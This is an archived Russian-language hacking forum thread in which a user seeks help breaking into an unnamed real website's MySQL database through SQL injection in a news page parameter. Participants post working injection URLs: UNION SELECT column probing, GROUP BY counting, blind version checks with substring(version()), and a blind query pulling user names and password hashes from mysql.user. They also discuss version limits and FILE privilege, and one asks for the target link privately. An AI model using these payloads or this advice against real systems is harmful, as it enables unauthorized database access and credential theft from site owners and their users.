PDA

Просмотр полной версии : Нужна помощь по Sql Inj


DarkWorm
01.06.2008, 21:33
Всем доброго времени суток!

Вот и мне пришлось перейти из читателей в вопрошатели.

Есть сайт в БД которого хотелось бы заглянуть.
Место для SQL INJ http://site//news.cfm?id=1%20and%201=1 - работает отлично.

Странности начинаются при подборе количества полей с помощью GROUP BY, если значение больше количества столбцов все нормально - ошибка с неизвестным столбцом. Но если GROUP BY 1, то все равно ошибка:

Error Occurred While Processing Request
Error Diagnostic Information
ODBC Error Code = 51 ()

[MERANT][ODBC MySql driver][MySql]You have an error in your SQL syntax.
Check the manual that corresponds to your MySQL server version for the right syntax to use near 'GROUP BY 1' at line 1

The error occurred while processing an element with a general identifier of (CFQUERY),
occupying document position (16:1) to (16:42) in the template file /ххх/news.cfm.

Query String: id=1%20GROUP%20BY%201


Ну да не беда, выяснить количество столбцов можно и так - их там 14.
Но вот news.cfm?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13 ,14
тоже не получается, ошибка

Error Occurred While Processing Request
Error Diagnostic Information
ODBC Error Code = 51 ()

[MERANT][ODBC MySql driver][MySql]You have an error in your SQL syntax.
Check the manual that corresponds to your MySQL server version for the right syntax
to use near ' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14' at line 1

The error occurred while processing an element with a general identifier of (CFQUERY),
occupying document position (11:1) to (11:36) in the template file /xxx/news.cfm.

Query String: id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13 ,14


Если после id=-1 ставить какие-либо знаки, то именно они вызывают ошибку, Любой из видов комментария в конце строки ни чего не меняет. На вид ни чего не фильтруетя, но запросы не выполняются.

Что происходит, почему не получается выполнить запрос, где ошибка?

З.Ы. Судя по приметам мускул старый, он не знает INFORMATION_SCHEMA.TABLES. Думал может он на столько стар что не знает про UNION, но и корректные на вид зпросы без него не выполняет.

[Raz0r]
01.06.2008, 21:51
у меня подозрения, что ошибка при UNION действительно возникает из-за старой версии MySQL (меньше четвертой)

n0ne
01.06.2008, 22:04
Попробуй substring юзать...подзапросы в третьей версии рулят :)

geezer.code
01.06.2008, 22:10
сравни
http://site/page.cfm?id=216+and+substring(version(),1,1)=5/*
http://site/page.cfm?id=216+and+substring(version(),1,1)=4/*
http://site/page.cfm?id=216+and+substring(version(),1,1)=3/*

для 5.4.3 ветки соответственно определение версий

DarkWorm
02.06.2008, 21:30
Спасибо за совет.

Таким образом выяснил версию - 4.0.1, а Union вроде как с 4.1. :(
Дальнейшее напрваление пока понятно.

DarkWorm
03.06.2008, 00:48
Набросал на перле перебиралку по дереву, получилась полная версия "4.0.18-standard", с user() и database() естественно тоже все ок.

Вроде все было понятно, но тут снова грабли - не работает
id=1%20and%20ascii(substring((select%20concat_ws(0 x3a,user,password)%20from%20mysql.user),1,1))=61

говорит
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'select concat_ws(0x3a,user,password) from mysql.user),1,1))=61'

Чем ему select не угодил?

blackybr
03.06.2008, 01:12
ты же сам написал что 4.0.18, а подзапросы у нас с 4.1

последнее что тут можно попробовать - есть ли файл прив у твоего юзверя, а также попробовать догадаться нет ли именно в той табле где ты находишься юзерских данных, в чем я сомневаюсь, у тебя вероятней всего табла новостей или чего-нибудь подобного

ЗЫ ты маленько перепутал. union c 4, подзапросы с 4.1 )

c411k
03.06.2008, 03:54
ссылку кинь в пм